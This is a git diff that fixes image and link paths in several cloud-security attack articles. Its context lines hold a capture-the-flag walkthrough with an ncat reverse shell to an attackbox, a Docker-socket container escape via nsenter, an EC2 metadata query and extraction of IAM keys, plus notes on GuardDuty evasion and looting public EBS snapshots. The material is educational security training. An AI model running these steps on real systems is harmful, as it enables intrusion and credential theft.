Fixed references to internal links and images

content/aws/avoiding-detection/guardduty-pentest.md

@@ -56,13 +56,13 @@ To get around this, modify the code and replace it with legitimate user agent st
 ```
 
 <figure markdown>
-  ![lines](/images/aws/avoiding-detection/guardduty-pentest/lines.jpg){ loading=lazy }
+  ![lines](../../images/aws/avoiding-detection/guardduty-pentest/lines.jpg){ loading=lazy }
 </figure>
 
 ```platform.system()``` and ```platform.release()``` are similar to ```uname -o``` and ```uname -r```. On a stock Kali install it will generate the following values.
 
 <figure markdown>
-  ![example](/images/aws/avoiding-detection/guardduty-pentest/example.png){ loading=lazy }
+  ![example](../../images/aws/avoiding-detection/guardduty-pentest/example.png){ loading=lazy }
 </figure>
 
 ## Validation
@@ -82,5 +82,5 @@ Boto3/1.9.106 Python/3.6.7 Linux/4.15.0-48-generic Botocore/1.12.156
 ```
 
 <figure markdown>
-  ![modified](/images/aws/avoiding-detection/guardduty-pentest/modified.jpg){ loading=lazy }
+  ![modified](../../images/aws/avoiding-detection/guardduty-pentest/modified.jpg){ loading=lazy }
 </figure>

content/aws/capture_the_flag/cicdont.md

@@ -125,7 +125,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
 
     After this, it will ask for a player name. Please only use lower and uppercase letters. No special characters or numbers.
 
-    ![Consent Message](/images/aws/capture_the_flag/cicdont/consent.png)
+    ![Consent Message](../../images/aws/capture_the_flag/cicdont/consent.png)
 
     After this, you will be asked if you'd like to perform the deployment. Answer with "yes".
 
@@ -136,7 +136,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
     !!! Note
         You will now need to wait 10 minutes for the deployment to finish. The 10 minute timer starts **AFTER** you get the "Apply complete" notification.
 
-    ![Output](/images/aws/capture_the_flag/cicdont/output.png)
+    ![Output](../../images/aws/capture_the_flag/cicdont/output.png)
 
     Does it really take 10 minutes? Yes, it takes a little bit to get everything setup. You can take this time to get familiar with your attackbox. This is an EC2 instance you can use for whatever you need during the CTF, particularly to catch shells.
 
@@ -153,31 +153,31 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
 
     After waiting those 10 minutes, you finally have a target. You can navigate to the target_ip to see a GitLab instance. Log in using your player username and password.
 
-    ![Login Page](/images/aws/capture_the_flag/cicdont/login.png)
+    ![Login Page](../../images/aws/capture_the_flag/cicdont/login.png)
 
     From here, you can navigate around, explore the various projects, and more. You might even notice a little notification in the upper right hand corner.
 
-    ![ToDo](/images/aws/capture_the_flag/cicdont/todo.png)
+    ![ToDo](../../images/aws/capture_the_flag/cicdont/todo.png)
 
     Ashley has some work for us! Perhaps this will give us a hint for something we can exploit.
 
     Navigate to the mvp-docker project's Issues page.
 
-    ![Issue](/images/aws/capture_the_flag/cicdont/issue.png)
+    ![Issue](../../images/aws/capture_the_flag/cicdont/issue.png)
 
     This is interesting for a few reasons. Most notably, Ashley wants some help with building a Docker container as a part of the CI/CD pipeline. She also mentions a [gitlab-ci.yml](https://docs.gitlab.com/ee/ci/yaml/gitlab_ci_yaml.html) file, which is the configuration for the [GitLab CI/CD](https://docs.gitlab.com/ee/ci/) pipeline.
 
     Building Docker images as a part of a CI/CD pipeline can have serious security implications and this is definitely worth looking into.
 
     Before we can get to that fun, let's take a look at that gitlab-ci.yml file. Navigate there and make some changes (you can edit the file through the web browser if you prefer or you can clone the project locally).
 
-    ![Config](/images/aws/capture_the_flag/cicdont/config.png)
+    ![Config](../../images/aws/capture_the_flag/cicdont/config.png)
 
     After committing changes (via the web interface or otherwise) you can navigate to the `CI/CD` tab on the left to see the pipeline execute.
 
     Clicking on the status, and then the build job we can see the output.
 
-    ![Pipeline Output](/images/aws/capture_the_flag/cicdont/buildoutput.png)
+    ![Pipeline Output](../../images/aws/capture_the_flag/cicdont/buildoutput.png)
 
     This can tell us a few things that are very useful to us as attackers. First, on line 3, we see that the CI/CD pipeline is using the "docker" executor, meaning everything executes inside a Docker container somewhere. On line 6, we see that it is using an Ubuntu Docker image. And lines 20+ show us that our input is executing in this environment.
 
@@ -191,7 +191,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
 
     SSH into your attack box and install a tool called `ncat`.
 
-    ![ncat install](/images/aws/capture_the_flag/cicdont/ncat.png)
+    ![ncat install](../../images/aws/capture_the_flag/cicdont/ncat.png)
 
     Now, we can setup a listener (from the attackbox) with the following command.
 
@@ -207,13 +207,13 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
     ncat <attackbox_ip> 443 --ssl -e /bin/bash -v
     ```
 
-    ![Second Pipeline](/images/aws/capture_the_flag/cicdont/newbuild.png)
+    ![Second Pipeline](../../images/aws/capture_the_flag/cicdont/newbuild.png)
 
     Now click "Commit changes" and watch that pipeline run.
 
     You are now the proud owner of a reverse shell inside this Docker container.
 
-    ![Shell](/images/aws/capture_the_flag/cicdont/shell.png)
+    ![Shell](../../images/aws/capture_the_flag/cicdont/shell.png)
 
     **Docker Socket**
 
@@ -233,7 +233,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
 
     The common location for the socket is at `/var/run/docker.sock`, let's go look for it.
 
-    ![Finding the Docker Socket](/images/aws/capture_the_flag/cicdont/socket.png)
+    ![Finding the Docker Socket](../../images/aws/capture_the_flag/cicdont/socket.png)
 
     There we go! They did mount the Docker socket! Let's use this to escape the container.
 
@@ -257,7 +257,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
     python3 -c "import pty;pty.spawn('/bin/bash')"
     ```
 
-    ![Creating a TTY](/images/aws/capture_the_flag/cicdont/view.png)
+    ![Creating a TTY](../../images/aws/capture_the_flag/cicdont/view.png)
 
     Doesn't that looks so much better? We have an actual shell prompt now. This will be useful for interacting with the Docker socket. Speaking of which, let's see which Docker containers are running on the host.
 
@@ -277,7 +277,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
     nsenter --target 1 --mount --uts --ipc --net --pid -- bash
     ```
 
-    ![Escalating to Root](/images/aws/capture_the_flag/cicdont/rootonbox.png)
+    ![Escalating to Root](../../images/aws/capture_the_flag/cicdont/rootonbox.png)
 
     How fun is that?! We now have root on the underlying host and have escaped the container.
 
@@ -294,7 +294,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
     curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/user-data/
     ```
 
-    ![Showing User Data](/images/aws/capture_the_flag/cicdont/userdata.png)
+    ![Showing User Data](../../images/aws/capture_the_flag/cicdont/userdata.png)
 
     On first glance it appears pretty standard; It installs GitLab, installs the GitLab runners, activates them, etc.
 
@@ -304,11 +304,11 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
 
     After exploring around for a little while, you may stumble into the the `infra-deployer` project. That sounds important.
 
-    ![The infra-deployer Project](/images/aws/capture_the_flag/cicdont/deployer.png)
+    ![The infra-deployer Project](../../images/aws/capture_the_flag/cicdont/deployer.png)
 
     "Admin IAM Credentials are being stored in environment variables to be used with the GitLab runners". That sounds.....very interesting. The good news is that as an administrator, we can see those variables. Navigate to the `Settings` tab on the left and then click `CI/CD`. Next, click `Expand` on the `Variables` section.
 
-    ![Showing the Environment Variables](/images/aws/capture_the_flag/cicdont/variables.png)
+    ![Showing the Environment Variables](../../images/aws/capture_the_flag/cicdont/variables.png)
 
     An Access Key and a Secret Access Key! Let's see who they belong to (you can also do this [without logging to CloudTrail](https://hackingthe.cloud/aws/enumeration/whoami/) if you were so inclined).
 
@@ -318,7 +318,7 @@ The following is a step by step walkthrough of the CTF. You can refer to this if
     aws sts get-caller-identity
     ```
 
-    ![Whoami](/images/aws/capture_the_flag/cicdont/identity.png)
+    ![Whoami](../../images/aws/capture_the_flag/cicdont/identity.png)
 
     And with that we have achieved our objective! Congratulations on completing the CTF. Want to provide some feedback? Feel free to open a discussion on [GitHub](https://github.com/Hacking-the-Cloud/hackingthe.cloud/discussions/categories/ctf-discussion).
 

content/aws/deprecated/stealth_perm_enum.md

@@ -71,5 +71,5 @@ There are some conditions to the enumeration, and they are defined below.
 To perform the enumeration there is a script [here](https://github.com/Frichetten/aws_stealth_perm_enum). Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.
 
 <figure markdown>
-  ![Proof of Concept](/images/aws/enumeration/stealth_perm_enum/permissions.png){ loading=lazy }
+  ![Proof of Concept](../../images/aws/enumeration/stealth_perm_enum/permissions.png){ loading=lazy }
 </figure>

content/aws/enumeration/account_id_from_s3_bucket.md

@@ -59,4 +59,4 @@ found: 123456789123
     The majority of this activity would only be logged to the calling account (the account you are running the tool with), however S3 data events and server access logging can be used to see the API activity. That being said, there is no immediate way to counter or prevent you from doing this. Additionally these requests could be spaced out over an extended period of time, further making it difficult to identify.
 
 !!! Tip
-    Pair this with [Unauthenticated Enumeration of IAM Users and Roles](/aws/enumeration/enum_iam_user_role/)!
+    Pair this with [Unauthenticated Enumeration of IAM Users and Roles](https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/)!

content/aws/enumeration/loot_public_ebs_snapshots.md

@@ -10,15 +10,15 @@ For EC2 instances, files and data are typically stored in [Elastic Block Store](
 
 EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.
 
-![EBS Snapshot availability setting page](/images/aws/enumeration/loot_public_ebs_snapshots/ebs_snapshot_availability.png)
+![EBS Snapshot availability setting page](../../images/aws/enumeration/loot_public_ebs_snapshots/ebs_snapshot_availability.png)
 
 ## Finding Exposed Snapshots
 
-A lot of instances of resource exposure (and subsequent [exploitation](/aws/exploitation/Misconfigured_Resource-Based_Policies/)) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to [vulnerabilities in AWS services](https://securitylabs.datadoghq.com/articles/appsync-vulnerability-disclosure/) themselves).
+A lot of instances of resource exposure (and subsequent [exploitation](https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/)) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to [vulnerabilities in AWS services](https://securitylabs.datadoghq.com/articles/appsync-vulnerability-disclosure/) themselves).
 
 A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select `Public snapshots` from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).
 
-![Showing the public snapshot list in the AWS console](/images/aws/enumeration/loot_public_ebs_snapshots/public_snapshot_console.png)
+![Showing the public snapshot list in the AWS console](../../images/aws/enumeration/loot_public_ebs_snapshots/public_snapshot_console.png)
 
 To pull this list in an easily consumable format you can use the following CLI command:
 
@@ -29,7 +29,7 @@ aws ec2 describe-snapshots --restorable-by-user-ids all
 As of the time of this writing there are tens of thousands of snapshots exposed. As a bonus, it is possible to filter this list by account ID, allowing you to easily target specific accounts.
 
 !!! Tip
-    This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can [determine the account](/aws/enumeration/get-account-id-from-keys/) they are tied to and check for exposed EBS snapshots.
+    This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can [determine the account](https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/) they are tied to and check for exposed EBS snapshots.
 
 To search for all public EBS snapshots associated with an AWS account, use the following command:
 

content/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.md

@@ -4,14 +4,14 @@ title: Abusing Misconfigured ECR Resource Policies
 description: How to take advantage of misconfigured AWS ECR private repositories.
 ---
 
-AWS Elastic Container Registry (ECR) [private repositories](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Repositories.html) use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be [misconfigured](/aws/exploitation/Misconfigured_Resource-Based_Policies/) and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.
+AWS Elastic Container Registry (ECR) [private repositories](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Repositories.html) use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be [misconfigured](https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/) and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.
 
 !!! Note
-    Aside from the [wildcard principal](/aws/exploitation/misconfigured_resource-based_policies/#the-principal-and-risks), you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.
+    Aside from the [wildcard principal](https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks), you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.
 
 ## Understanding ecr:GetAuthorizationToken
 
-A unique [requirement](https://docs.aws.amazon.com/AmazonECR/latest/userguide/repository-policies.html#repository-policy-vs-iam-policy) to abusing misconfigured resource-based policies in ECR is [ecr:GetAuthorizationToken](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-authorization-token.html). The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the `Action` element is `ecr:*`). For scenarios in which the policy has a [wildcard principal](/aws/exploitation/misconfigured_resource-based_policies/#the-principal-and-risks) and a broken policy, this is not a problem as you can create a role with the needed permission.
+A unique [requirement](https://docs.aws.amazon.com/AmazonECR/latest/userguide/repository-policies.html#repository-policy-vs-iam-policy) to abusing misconfigured resource-based policies in ECR is [ecr:GetAuthorizationToken](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-authorization-token.html). The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the `Action` element is `ecr:*`). For scenarios in which the policy has a [wildcard principal](https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks) and a broken policy, this is not a problem as you can create a role with the needed permission.
 
 !!! Note
     When interacting with an ECR private repository via the [Docker](https://github.com/docker/cli) cli, you use [ecr:GetLoginPassword](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-login-password.html) to authenticate. This calls `ecr:GetAuthorizationToken` to provide the needed authorization.

content/aws/exploitation/abusing-container-registry.md

@@ -26,7 +26,7 @@ hide:
 IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.
 
 <figure markdown>
-  ![Inbound SG](/images/aws/exploitation/abusing-container-registry/Abusing-Container-Registry.png){ loading=lazy }
+  ![Inbound SG](../../images/aws/exploitation/abusing-container-registry/Abusing-Container-Registry.png){ loading=lazy }
 </figure>
 
 This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.